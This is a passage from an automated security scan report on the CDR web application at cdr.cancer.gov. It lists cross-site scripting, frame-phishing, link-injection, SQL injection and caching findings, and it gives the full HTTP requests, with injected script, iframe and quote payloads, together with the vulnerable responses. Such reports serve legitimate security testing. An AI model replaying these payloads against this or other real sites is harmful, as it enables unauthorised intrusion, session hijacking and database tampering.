<LI><A HREF='/cgi-bin/cdr/SummarySearch.py?Session=guest'"> <iframe id=320
```

```
src=http://demo.testfire.net/p hishing.html> >'>Summary</A></LI>
<LI><A HREF='/cgi-bin/cdr/TermSearch.py?Session=guest'"> <ifram e id=320
src=http://demo.testfire.net/ phishing.html> >'>Term</A></LI>
</UL>
</FORM></BODY></HTML>
...
R = "#000000">Select a document type to search:</FONT>
</TD>
</TR>
<!--
<TR>
<TD NOWRAP
COLSPAN = "3"
CLASS = "Page"> </TD>
</TR>
-->
</TABLE>
<UL class='Page'>
<LI><A HREF='/cgi-bin/cdr/CiteSearch.py?Session=guest'"> <iframe id=320 src= http://demo.testfire.
net/phishing.html > >'>Citation</A></LI>
<LI><A HREF='/cgi-bin/cdr/CountrySearch.py?Session=guest'"> <iframe id=320 src =http://demo.testfi
re.net/phishing.htm l> >'>Country</A></LI>
<LI><A HREF='/cgi-bin/cdr/DISSearch.py?Session=guest'"> <iframe id=320 sr c=http://demo.testfire.n
et/phishing.ht ml> >'>Drug Information Summary</A></LI>
<LI><A HREF='/cgi-bin/cdr/HelpSearch.py?Session=guest'"> <iframe id=320 s rc=http://demo.testfire.
net/phishing.h tml> >'>Documentation</A></LI>
<LI><A HREF='/cgi-bin/cdr/GlossaryTermSearch.py?Session=guest'"> <iframe id=320 src=http://demo.te
stfire.net/phishin g. html> >'>Glossary Term</A></LI>
<LI><A HREF='/cgi-bin/cdr/MiscSearch.py?Session=guest'"> <iframe id=320 src=http://demo.testfire.n
et/phishing .html> >'>Miscellaneous</A></LI>
<LI><A HREF='/cgi-bin/cdr/MediaSearch.py?Session=guest'"> <iframe id=32 0
src=http://demo.testfire.net/phishin g.html> >'>Media</A></LI>
```

## Issue 4 of 5

## [Low] Cacheable SSL Page Found

| | |
|---|---|
| Issue: | 75448026 |
| Severity: | Low |
| URL: | https://cdr.cancer.gov/cgi-bin/cdr/AdvancedSearch.py |
| Risk(s): | It is possible to gather sensitive information about the web application such as usernames, passwords, machine name and/or sensitive file locations |
| Fix: | Prevent caching of SSL pages by adding "Cache-Control: no-store" and "Pragma: no-cache" headers to their responses. |

### Variant 1 of 1

**The following changes were applied to the original request:**

```
- Set path to '/cgi-bin/cdr/AdvancedSearch.py'
- Set query string to 'Session=guest'
```

**Reasoning:**

The application has responded with a response that indicates the page should be cached, but not ALL cache control headers are set ("Cache-Control: no-store" and either "Pragma: no-cache" or "Cache-Control: no-cache").

**Request/Response:**

```
GET /cgi-bin/cdr/AdvancedSearch.py ? Session=guest HTTP/1.1
Accept-Language: en-US
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: https://cdr.cancer.gov/cgi-bin/cdr/GuestUsers.py?Session=guest
Host: cdr.cancer.gov
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)

HTTP/1.1 200 OK
Content-Type: text/html
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Tue, 22 Jul 2014 16:42:16 GMT
Connection: close
Content-Length: 3084

<!DOCTYPE HTML PUBLIC '-//IETF//DTD HTML//EN'>
<HTML>
<HEAD>
<TITLE>Advanced Search Document Type Selection</TITLE>
<META HTTP-EQUIV = "Content-Type"
CONTENT = "text/html; charset=iso-8859-1">
<STYLE TYPE = "text/css">
<!--
.Page { font-family: Arial, Helvetica, sans-serif;
color: #000066 }
:Link { font-family: Arial, Helvetica, sans-serif;
color: #000066;
text-decoration: none }
:Link:visited { font-family: Arial, Helvetica, sans-serif;
color: #000066;
text-decoration: none }
...
```

## Issue 5 of 5

## [Low] Query Parameter in SSL Request

| | |
|---|---|
| Issue: | 75448074 |
| Severity: | Low |
| URL: | https://cdr.cancer.gov/cgi-bin/cdr/AdvancedSearch.py |
| Parameter: | Session |
| Risk(s): | It may be possible to steal sensitive data such as credit card numbers, social security numbers etc. that are sent unencrypted |
| Fix: | Always use SSL and POST (body) parameters when sending sensitive information. |

### Variant 1 of 1

**Reasoning:**

This content may expose sensitive information.

**Request/Response:**

```
GET /cgi-bin/cdr/AdvancedSearch.py?Session=guest HTTP/1.1
Accept-Language: en-US
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: https://cdr.cancer.gov/cgi-bin/cdr/GuestUsers.py?Session=guest
Host: cdr.cancer.gov
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)

HTTP/1.1 200 OK
Content-Type: text/html
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Tue, 22 Jul 2014 16:26:04 GMT
Connection: close
Content-Length: 3084

<!DOCTYPE HTML PUBLIC '-//IETF//DTD HTML//EN'>
<HTML>
<HEAD>
<TITLE>Advanced Search Document Type Selection</TITLE>
<META HTTP-EQUIV = "Content-Type"
CONTENT = "text/html; charset=iso-8859-1">
<STYLE TYPE = "text/css">
<!--
.Page { font-family: Arial, Helvetica, sans-serif;
color: #000066 }
:Link { font-family: Arial, Helvetica, sans-serif;
color: #000066;
text-decoration: none }
:Link:visited { font-family: Arial, Helvetica, sans-serif;
color: #000066;
text-decoration: none }
...
```

## [High] https://cdr.cancer.gov/cgi-bin/cdr/CdrDocumentation.py - 5 issue(s)

### Issue 1 of 5

### [High] Cross-Site Scripting

| | |
|---|---|
| Issue: | 75448086 |
| Severity: | High |
| URL: | https://cdr.cancer.gov/cgi-bin/cdr/CdrDocumentation.py |
| Parameter: | Session |
| Risk(s): | It is possible to steal or manipulate customer session and cookies, which might be used to impersonate a legitimate user, allowing the hacker to view or alter user records, and to perform transactions as that user |
| Fix: | Review possible solutions for hazardous character injection |

### Variant 1 of 13

**The following changes were applied to the original request:**

```
Injected 'None'/><script>alert(820)</script>' into the value of parameter 'Session'
```

**Reasoning:**

```
The test result seems to indicate a vulnerability because Appscan successfully embedded a script
in the response, which will be executed when the page loads in the user's browser.
```

**Request/Response:**

```
GET /cgi-bin/cdr/CdrDocumentation.py? Session=None'/><script>alert(820)</script> HTTP/1.1
Accept-Language: en-US
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: https://cdr.cancer.gov/cgi-bin/cdr/Reports.py
Host: cdr.cancer.gov
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)

HTTP/1.1 200 OK
Content-Type: text/html
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Wed, 23 Jul 2014 05:53:17 GMT
Connection: close
Content-Length: 2732

...
dmin Menu'> 
</TD>
</TR>
<TR>
<TD BGCOLOR='#FFFFCC' COLSPAN='3'>
<span style='color: navy; font-size: small;'> CDR Documentation (PDF)<BR></span>
</TD>
</TR>
</TABLE>
<BR>
<BR>
<INPUT TYPE='hidden' NAME='Session' VALUE='None'/><script> alert(820) </script>'>
<h3>CDR Documentation (PDF) as of 2007-08-22</h3>
<ol>
<li><a href="http://nciws-p193-v-w.nci.nih.gov/cdr/Documentation/CdrUserGuide.pdf">User
Guide</a></li>
<li><a href="http://nciws-p193-v-w.nci.nih.gov/cdr/Documentation/CdrSystemDocs.pdf">System
Documentation</a></li>

...
...
dmin Menu'> 
</TD>
</TR>
<TR>
<TD BGCOLOR='#FFFFCC' COLSPAN='3'>
<span style='color: navy; font-size: small;'> CDR Documentation (PDF)<BR></span>
</TD>
</TR>
</TABLE>
<BR>
<BR>
<INPUT TYPE='hidden' NAME='Session' VALUE='None'/><script> alert(820) </script>'>
<h3>CDR Documentation (PDF) as of 2007-08-22</h3>
```

```
        <ol>
        <li><a href="http://nciws-p193-v-w.nci.nih.gov/cdr/Documentation/CdrUserGuide.pdf">User
        Guide</a></li>
        <li><a href="http://nciws-p193-v-w.nci.nih.gov/cdr/Documentation/CdrSystemDocs.pdf">System
        Documentation</a></li>

        ...
```

## Issue 2 of 5

## [Medium] Phishing Through Frames

| | |
|---|---|
| Issue: | 75448148 |
| Severity: | Medium |
| URL: | https://cdr.cancer.gov/cgi-bin/cdr/CdrDocumentation.py |
| Parameter: | Session |
| Risk(s): | It is possible to persuade a naive user to supply sensitive information such as username, password, credit card number, social security number etc. |
| Fix: | Review possible solutions for hazardous character injection |

### Variant 1 of 1

**The following changes were applied to the original request:**

Set the value of the parameter 'Session' to 'None%27%22%3E%3Ciframe+id%3D816+src%3Dhttp%3A%2F%2Fdemo.testfire.net%2Fphishing.html%3E'

**Reasoning:**

The test result seems to indicate a vulnerability because the test response contained a frame/iframe to URL "http://demo.testfire.net/phishing.html".

**Request/Response:**

```
GET /cgi-bin/cdr/CdrDocumentation.py? Session=None%27%22%3E%3Ciframe+id%3D816+src%3Dhttp%3A%2F%2Fdemo.testfire.net%2Fphishing.html%3E HTTP/1.1
Accept-Language: en-US
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: https://cdr.cancer.gov/cgi-bin/cdr/Reports.py
Host: cdr.cancer.gov
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)

HTTP/1.1 200 OK
Content-Type: text/html
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Wed, 23 Jul 2014 05:53:16 GMT
Connection: close
Content-Length: 2763


...
VALUE='Admin Menu'> 
</TD>
</TR>
<TR>
<TD BGCOLOR='#FFFFCC' COLSPAN='3'>
<span style='color: navy; font-size: small;'> CDR Documentation (PDF)<BR></span>
</TD>
</TR>
</TABLE>
<BR>
<BR>
<INPUT TYPE='hidden' NAME='Session' VALUE='None'"> <iframe id=816 src= http://demo.testfire.net/phishing.html > >'>
<h3>CDR Documentation (PDF) as of 2007-08-22</h3>
<ol>
<li><a href="http://nciws-p193-v-w.nci.nih.gov/cdr/Documentation/CdrUserGuide.pdf">User
Guide</a></li>
<li><a href="http://nciws-p193-v-w.nci.nih.gov/cdr/Documentation/CdrSystemDocs.pdf">System
Documentation<
...
...
VALUE='Admin Menu'> 
</TD>
</TR>
<TR>
<TD BGCOLOR='#FFFFCC' COLSPAN='3'>
<span style='color: navy; font-size: small;'> CDR Documentation (PDF)<BR></span>
</TD>
</TR>
</TABLE>
<BR>
<BR>
<INPUT TYPE='hidden' NAME='Session' VALUE='None'"> <iframe id=816 src= http://demo.testfire.net/phishing.html > >'>
<h3>CDR Documentation (PDF) as of 2007-08-22</h3>
<ol>
<li><a href="http://nciws-p193-v-w.nci.nih.gov/cdr/Documentation/CdrUserGuide.pdf">User
Guide</a></li>
```

```
        <li><a href="http://nciws-p193-v-w.nci.nih.gov/cdr/Documentation/CdrSystemDocs.pdf">System
        Documentation<
        ...
```

## Issue 3 of 5

## [Medium] Link Injection (facilitates Cross-Site Request Forgery)

| | |
|---|---|
| Issue: | 75448299 |
| Severity: | Medium |
| URL: | https://cdr.cancer.gov/cgi-bin/cdr/CdrDocumentation.py |
| Parameter: | Session |
| Risk(s): | It is possible to persuade a naive user to supply sensitive information such as username, password, credit card number, social security number etc.It is possible to steal or manipulate customer session and cookies, which might be used to impersonate a legitimate user, allowing the hacker to view or alter user records, and to perform transactions as that userIt is possible to upload, modify or delete web pages, scripts and files on the web server |
| Fix: | Review possible solutions for hazardous character injection |

### Variant 1 of 2

**The following changes were applied to the original request:**

Set the value of the parameter 'Session' to '%22%27%3E%3CIMG+SRC%3D%22%2FWF_XSRF817.html%22%3E'

**Reasoning:**

The test result seems to indicate a vulnerability because the test response contained a link to the file "WF_XSRF.html".

**Request/Response:**

```
GET /cgi-bin/cdr/CdrDocumentation.py? Session=%22%27%3E%3CIMG+SRC%3D%22%2FWF_XSRF817.html%22%3E
HTTP/1.1
Accept-Language: en-US
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: https://cdr.cancer.gov/cgi-bin/cdr/Reports.py
Host: cdr.cancer.gov
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)

HTTP/1.1 200 OK
Content-Type: text/html
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Wed, 23 Jul 2014 05:53:16 GMT
Connection: close
Content-Length: 2729

...
st' VALUE='Admin Menu'> 
</TD>
</TR>
<TR>
<TD BGCOLOR='#FFFFCC' COLSPAN='3'>
<span style='color: navy; font-size: small;'> CDR Documentation (PDF)<BR></span>
</TD>
</TR>
</TABLE>
<BR>
<BR>
<INPUT TYPE='hidden' NAME='Session' VALUE='"'> <IMG SRC="/WF_XSRF817.html"> '>
<h3>CDR Documentation (PDF) as of 2007-08-22</h3>
<ol>
<li><a href="http://nciws-p193-v-w.nci.nih.gov/cdr/Documentation/CdrUserGuide.pdf">User
Guide</a></li>
<li><a href="http://nciws-p193-v-w.nci.nih.gov/cdr/Documentation/CdrSystemDocs.pdf">System
Documentation</a></li>
<li><a
...
...
st' VALUE='Admin Menu'> 
</TD>
</TR>
<TR>
<TD BGCOLOR='#FFFFCC' COLSPAN='3'>
<span style='color: navy; font-size: small;'> CDR Documentation (PDF)<BR></span>
</TD>
</TR>
</TABLE>
<BR>
<BR>
<INPUT TYPE='hidden' NAME='Session' VALUE='"'> <IMG SRC="/WF_XSRF817.html"> '>
<h3>CDR Documentation (PDF) as of 2007-08-22</h3>
<ol>
<li><a href="http://nciws-p193-v-w.nci.nih.gov/cdr/Documentation/CdrUserGuide.pdf">User
Guide</a></li>
```

```
        <li><a href="http://nciws-p193-v-w.nci.nih.gov/cdr/Documentation/CdrSystemDocs.pdf">System
        Documentation</a></li>
        <li><a
        ...
```

## Issue 4 of 5

## [Low] Query Parameter in SSL Request

| | |
|---|---|
| Issue: | 75448175 |
| Severity: | Low |
| URL: | https://cdr.cancer.gov/cgi-bin/cdr/CdrDocumentation.py |
| Parameter: | Session |
| Risk(s): | It may be possible to steal sensitive data such as credit card numbers, social security numbers etc. that are sent unencrypted |
| Fix: | Always use SSL and POST (body) parameters when sending sensitive information. |

### Variant 1 of 1

**Reasoning:**

This content may expose sensitive information.

**Request/Response:**

```
GET /cgi-bin/cdr/CdrDocumentation.py?Session=None HTTP/1.1
Accept-Language: en-US
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: https://cdr.cancer.gov/cgi-bin/cdr/Reports.py
Host: cdr.cancer.gov
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)

HTTP/1.1 200 OK
Content-Type: text/html
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Tue, 22 Jul 2014 16:31:48 GMT
Connection: close
Content-Length: 2702

<!DOCTYPE HTML PUBLIC '-//W3C//DTD HTML 4.01 Transitional//EN'
'http://www.w3.org/TR/html4/loose.dtd'>
<HTML>
<HEAD>
<TITLE>CDR Administration</TITLE>
<meta http-equiv='Content-Type' content='text/html;charset=utf-8'>
<link rel='shortcut icon' href='/favicon.ico'>
<LINK TYPE='text/css' REL='STYLESHEET' HREF='/stylesheets/dataform.css'>
<style type='text/css'>
body { background-color: #DFDFDF; }
*.banner { background-color: silver;
background-image: url(/images/nav1.jpg); }
*.DTDerror { color: red;

...
```

## Issue 5 of 5

## [Low] Cacheable SSL Page Found

| | |
|---|---|
| Issue: | 75448317 |
| Severity: | Low |
| URL: | https://cdr.cancer.gov/cgi-bin/cdr/CdrDocumentation.py |
| Risk(s): | It is possible to gather sensitive information about the web application such as usernames, passwords, machine name and/or sensitive file locations |
| Fix: | Prevent caching of SSL pages by adding "Cache-Control: no-store" and "Pragma: no-cache" headers to their responses. |

### Variant 1 of 1

**The following changes were applied to the original request:**

```
- Set path to '/cgi-bin/cdr/CdrDocumentation.py'
- Set query string to 'Session=None'
```

**Reasoning:**

```
The application has responded with a response that indicates the page should be cached, but not
ALL cache control headers are set ("Cache-Control: no-store" and either "Pragma: no-cache" or
"Cache-Control: no-cache").
```

**Request/Response:**

```
GET /cgi-bin/cdr/CdrDocumentation.py ? Session=None HTTP/1.1
Accept-Language: en-US
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: https://cdr.cancer.gov/cgi-bin/cdr/Reports.py
Host: cdr.cancer.gov
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)

HTTP/1.1 200 OK
Content-Type: text/html
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Tue, 22 Jul 2014 17:48:12 GMT
Connection: close
Content-Length: 2702

<!DOCTYPE HTML PUBLIC '-//W3C//DTD HTML 4.01 Transitional//EN'
'http://www.w3.org/TR/html4/loose.dtd'>
<HTML>
<HEAD>
<TITLE>CDR Administration</TITLE>
<meta http-equiv='Content-Type' content='text/html;charset=utf-8'>
<link rel='shortcut icon' href='/favicon.ico'>
<LINK TYPE='text/css' REL='STYLESHEET' HREF='/stylesheets/dataform.css'>
<style type='text/css'>
body { background-color: #DFDFDF; }
*.banner { background-color: silver;
background-image: url(/images/nav1.jpg); }
*.DTDerror { color: red;

...
```

## [High] https://cdr.cancer.gov/cgi-bin/cdr/CdrQueries.py - 7 issue(s)

### Issue 1 of 7

## [High] SQL Injection

| | |
|---|---|
| Issue: | 75448042 |
| Severity: | High |
| URL: | https://cdr.cancer.gov/cgi-bin/cdr/CdrQueries.py |
| Parameter: | queryText |
| Risk(s): | It is possible to view, modify or delete database entries and tables |
| Fix: | Review possible solutions for hazardous character injection |

### Variant 1 of 9

**The following changes were applied to the original request:**

Set the value of the parameter 'queryText' to '%27%3B'

**Reasoning:**

The test result seems to indicate a vulnerability because the response contains SQL Server errors. This suggests that the test managed to penetrate the application and reach the SQL query itself, by injecting hazardous characters.

**Request/Response:**

```
POST /cgi-bin/cdr/CdrQueries.py HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Accept-Language: en-US
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: https://cdr.cancer.gov/cgi-bin/cdr/CdrQueries.py?Session=None
Host: cdr.cancer.gov
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)
Content-Length: 67

queryText=%27%3B &doWhat=createSS&newName=&newQuery=&pageId=0.000001

HTTP/1.1 200 OK
Cache-Control: no-cache, must-revalidate
Content-Type: text/html; charset=utf-8
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Wed, 23 Jul 2014 08:13:01 GMT
Connection: close
Content-Length: 207

<html> <head> <title>CDR query failure</title> </head> <body> <h2>CDR query failure</h2>
<b>Failure executing query: '; Unclosed quotation mark after the character string ';'.</b> </body>
</html> <html> <head> <title>CDR query failure</title> </head> <body> <h2>CDR query failure</h2>
<b>Failure executing query: '; Unclosed quotation mark after the character string ';'.</b> </body>
</html>
```

## Issue 2 of 7

## [High] Cross-Site Scripting

| | |
|---|---|
| Issue: | 75448226 |
| Severity: | High |
| URL: | https://cdr.cancer.gov/cgi-bin/cdr/CdrQueries.py |
| Parameter: | queryText |
| Risk(s): | It is possible to steal or manipulate customer session and cookies, which might be used to impersonate a legitimate user, allowing the hacker to view or alter user records, and to perform transactions as that user |
| Fix: | Review possible solutions for hazardous character injection |

### Variant 1 of 1

**The following changes were applied to the original request:**

```
- Set method to 'GET'
- Set the value of the parameter 'queryText' to 'queryText'
- Set the value of the parameter 'queryText' to
'%27%22%3E%3Ciframe+src%3Djavascript%3Aalert%281822%29%3E'
```

**Reasoning:**

The test result seems to indicate a vulnerability because Appscan successfully embedded a script in the response, which will be executed when the page loads in the user's browser.

**Request/Response:**

```
GET /cgi-bin/cdr/CdrQueries.py? queryText= %27%22%3E%3Ciframe+src%3Djavascript%3Aalert%281822%29%3
E HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Accept-Language: en-US
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: https://cdr.cancer.gov/cgi-bin/cdr/CdrQueries.py?Session=None
Host: cdr.cancer.gov
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)

doWhat=createSS&newName=&newQuery=&pageId=0.000001

HTTP/1.1 200 OK
Cache-Control: no-cache, must-revalidate
Content-Type: text/html ; charset=utf-8
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Wed, 23 Jul 2014 08:13:30 GMT
Connection: close
Content-Length: 249814
pragma: no-cache

...
option value = "Update Mode">Update Mode</option>
<option value = "VETemp">VETemp</option>
<option value = "terms with slash">terms with slash</option>

</select>
</td>
<td valign = 'center'>
<textarea name = 'queryText' rows = '10' cols = '60'>'"><iframe src=javascript: alert(1822)
></textarea>
</td>
</tr>
<tr>
<td colspan = '2' align = 'center'>
<input type = 'button' onClick = 'runQuery()' value = 'Submit' /> 
<input type = 'button' onClick = 'excel()' value = 'Excel' /> 
<input type = 'button' onClick = 'saveQuery()' valu
...
...
option value = "Update Mode">Update Mode</option>
<option value = "VETemp">VETemp</option>
<option value = "terms with slash">terms with slash</option>

</select>
</td>
<td valign = 'center'>
<textarea name = 'queryText' rows = '10' cols = '60'>'"><iframe src=javascript: alert(1822)
></textarea>
</td>
</tr>
<tr>
```

```
        <td colspan = '2' align = 'center'>
        <input type = 'button' onClick = 'runQuery()' value = 'Submit' /> 
        <input type = 'button' onClick = 'excel()' value = 'Excel' /> 
        <input type = 'button' onClick = 'saveQuery()' valu
        ...
```

## Issue 3 of 7

## [High] Cross-Site Scripting

| | |
|---|---|
| Issue: | 75448290 |
| Severity: | High |
| URL: | https://cdr.cancer.gov/cgi-bin/cdr/CdrQueries.py |
| Risk(s): | It is possible to steal or manipulate customer session and cookies, which might be used to impersonate a legitimate user, allowing the hacker to view or alter user records, and to perform transactions as that user |
| Fix: | Review possible solutions for hazardous character injection |

### Variant 1 of 3

**The following changes were applied to the original request:**

```
- Set the value of the parameter 'queryText' to
'%3E%22%27%3E%3Cscript%3Ealert%28237%29%3C%2Fscript%3E'
- Set the value of the parameter 'doWhat' to
'%3E%22%27%3E%3Cscript%3Ealert%28237%29%3C%2Fscript%3E'
- Set the value of the parameter 'newName' to
'%3E%22%27%3E%3Cscript%3Ealert%28237%29%3C%2Fscript%3E'
- Set the value of the parameter 'newQuery' to
'%3E%22%27%3E%3Cscript%3Ealert%28237%29%3C%2Fscript%3E'
- Set the value of the parameter 'pageId' to
'%3E%22%27%3E%3Cscript%3Ealert%28237%29%3C%2Fscript%3E'
```

**Reasoning:**

The test result seems to indicate a vulnerability because Appscan successfully embedded a script in the response, which will be executed when the page loads in the user's browser.

**Request/Response:**

```
POST /cgi-bin/cdr/CdrQueries.py HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Accept-Language: en-US
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: https://cdr.cancer.gov/cgi-bin/cdr/CdrQueries.py?Session=None
Host: cdr.cancer.gov
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)
Content-Length: 310

queryText=%3E%22%27%3E%3Cscript%3Ealert%28237%29%3C%2Fscript%3E & doWhat=%3E%22%27%3E%3Cscript%3Ea
lert%28237%29%3C%2Fscript%3E & newName=%3E%22%27%3E%3Cscript%3Ealert%28237%29%3C%2Fscript%3E & new
Que ry= %3E %22 %27 %3E %3C scr ipt %3E ale rt% 282 37% 29% 3C% 2Fs cri pt% 3E &
pageId=%3E%22%27%3E%3Cscript%3Ealert%28237%29%3C%2Fscript%3E

...
 VARIANT END 2 & newQuery=%3E%22%27%3E%3Cscript%3Ealert%28237%29%3C%2Fscript%3E &
pageId=%3E%22%27%3E%3Cscript%3Ealert%28237%29%3C%2Fscript%3E

HTTP/1.1 200 OK
Cache-Control: no-cache, must-revalidate
Content-Type: text/html ; charset=utf-8
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Tue, 22 Jul 2014 19:17:00 GMT
Connection: close
Content-Length: 249807
pragma: no-cache

...
te</option>
<option value = "Update Mode">Update Mode</option>
<option value = "VETemp">VETemp</option>
<option value = "terms with slash">terms with slash</option>

</select>
</td>
<td valign = 'center'>
<textarea name = 'queryText' rows = '10' cols = '60'>>"'><script> alert(237) </script></textarea>
</td>
</tr>
<tr>
<td colspan = '2' align = 'center'>
<input type = 'button' onClick = 'runQuery()' value = 'Submit' /> 
<input type = 'button' onClick = 'excel()' value = 'Excel' /> 
<input type = 'button' onClick = 'saveQuery
...
...
```

```
te</option>
<option value = "Update Mode">Update Mode</option>
<option value = "VETemp">VETemp</option>
<option value = "terms with slash">terms with slash</option>

</select>
</td>
<td valign = 'center'>
<textarea name = 'queryText' rows = '10' cols = '60'>>"'><script> alert(237) </script></textarea>
</td>
</tr>
<tr>
<td colspan = '2' align = 'center'>
<input type = 'button' onClick = 'runQuery()' value = 'Submit' /> 
<input type = 'button' onClick = 'excel()' value = 'Excel' /> 
<input type = 'button' onClick = 'saveQuery
...
```

## Issue 4 of 7

## [Low] Database Error Pattern Found

| | |
|---|---|
| Issue: | 75448192 |
| Severity: | Low |
| URL: | https://cdr.cancer.gov/cgi-bin/cdr/CdrQueries.py |
| Parameter: | queryText |
| Risk(s): | It is possible to view, modify or delete database entries and tables |
| Fix: | Review possible solutions for hazardous character injection |

### Variant 1 of 1

**The following changes were applied to the original request:**

Set the value of the parameter 'queryText' to 'WFXSSProbe%27%22%29%2F%3E'

**Reasoning:**

The test result seems to indicate a vulnerability because the response contains SQL Server errors. This suggests that the test managed to penetrate the application and reach the SQL query itself, by injecting hazardous characters.

**Request/Response:**

```
POST /cgi-bin/cdr/CdrQueries.py HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Accept-Language: en-US
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: https://cdr.cancer.gov/cgi-bin/cdr/CdrQueries.py?Session=None
Host: cdr.cancer.gov
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)
Content-Length: 86

queryText=WFXSSProbe%27%22%29%2F%3E &doWhat=createSS&newName=&newQuery=&pageId=0.000001

HTTP/1.1 200 OK
Cache-Control: no-cache, must-revalidate
Content-Type: text/html; charset=utf-8
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Wed, 23 Jul 2014 08:13:00 GMT
Connection: close
Content-Length: 237

<html> <head> <title>CDR query failure</title> </head> <body> <h2>CDR query failure</h2>
<b>Failure executing query: WFXSSProbe'")/&amp;gt; Unclosed quotation mark after the character
string '")/&amp;gt;'.</b> </body> </html> <html> <head> <title>CDR query failure</title> </head>
<body> <h2>CDR query failure</h2> <b>Failure executing query: WFXSSProbe'")/&amp;gt; Unclosed
quotation mark after the character string '")/&amp;gt;'.</b> </body> </html>
```

## Issue 5 of 7

## [Low] Query Parameter in SSL Request

| | |
|---|---|
| Issue: | 75448210 |
| Severity: | Low |
| URL: | https://cdr.cancer.gov/cgi-bin/cdr/CdrQueries.py |
| Parameter: | Session |
| Risk(s): | It may be possible to steal sensitive data such as credit card numbers, social security numbers etc. that are sent unencrypted |
| Fix: | Always use SSL and POST (body) parameters when sending sensitive information. |

### Variant 1 of 1

**Reasoning:**

This content may expose sensitive information.

**Request/Response:**

```
GET /cgi-bin/cdr/CdrQueries.py?Session=None HTTP/1.1
Accept-Language: en-US
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: https://cdr.cancer.gov/cgi-bin/cdr/GeneralReports.py?Session=None
Host: cdr.cancer.gov
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)

HTTP/1.1 200 OK
Cache-Control: no-cache, must-revalidate
Content-Type: text/html; charset=utf-8
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Tue, 22 Jul 2014 16:31:54 GMT
Connection: close
Content-Length: 249776
pragma: no-cache

<html>
<head>
<title>CDR Query Interface</title>
<meta http-equiv="Pragma" content="no-cache">
<meta http-equiv="Content-Type" content="text/html;charset=utf-8" />
<style type = 'text/css'>
th { background: olive; color: white; }
th.total { background: olive; color: white; font-weight: bold; }
td.odd { font-size: 10pt; background: beige; color: black;
font-family: Arial; }
td.even { font-size: 10pt; background: wheat; color: black;
font-family: Arial; }
option { background: beige; color: black; }
select { background: beige; color:
...
```

## Issue 6 of 7

## [Low] Cacheable SSL Page Found

| | |
|---|---|
| Issue: | 75448248 |
| Severity: | Low |
| URL: | https://cdr.cancer.gov/cgi-bin/cdr/CdrQueries.py |
| Risk(s): | It is possible to gather sensitive information about the web application such as usernames, passwords, machine name and/or sensitive file locations |
| Fix: | Prevent caching of SSL pages by adding "Cache-Control: no-store" and "Pragma: no-cache" headers to their responses. |

### Variant 1 of 1

**The following changes were applied to the original request:**

```
- Set path to '/cgi-bin/cdr/CdrQueries.py'
- Set query string to 'Session=None'
```

**Reasoning:**

The application has responded with a response that indicates the page should be cached, but not ALL cache control headers are set ("Cache-Control: no-store" and either "Pragma: no-cache" or "Cache-Control: no-cache").

**Request/Response:**

```
GET /cgi-bin/cdr/CdrQueries.py ? Session=None HTTP/1.1
Accept-Language: en-US
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: https://cdr.cancer.gov/cgi-bin/cdr/GeneralReports.py?Session=None
Host: cdr.cancer.gov
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)

HTTP/1.1 200 OK
Cache-Control: no-cache, must-revalidate
Content-Type: text/html; charset=utf-8
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Tue, 22 Jul 2014 17:48:30 GMT
Connection: close
Content-Length: 249776
pragma: no-cache

<html>
<head>
<title>CDR Query Interface</title>
<meta http-equiv="Pragma" content="no-cache" >
<meta http-equiv="Content-Type" content="text/html;charset=utf-8" />
<style type = 'text/css'>
th { background: olive; color: white; }
th.total { background: olive; color: white; font-weight: bold; }
td.odd { font-size: 10pt; background: beige; color: black;
font-fam
...
<html>
<head>
<title>CDR Query Interface</title>
<meta http-equiv="Pragma" content="no-cache" >
<meta http-equiv="Content-Type" content="text/html;charset=utf-8" />
<style type = 'text/css'>
th { background: olive; color: white; }
th.total { background: olive; color: white; font-weight: bold; }
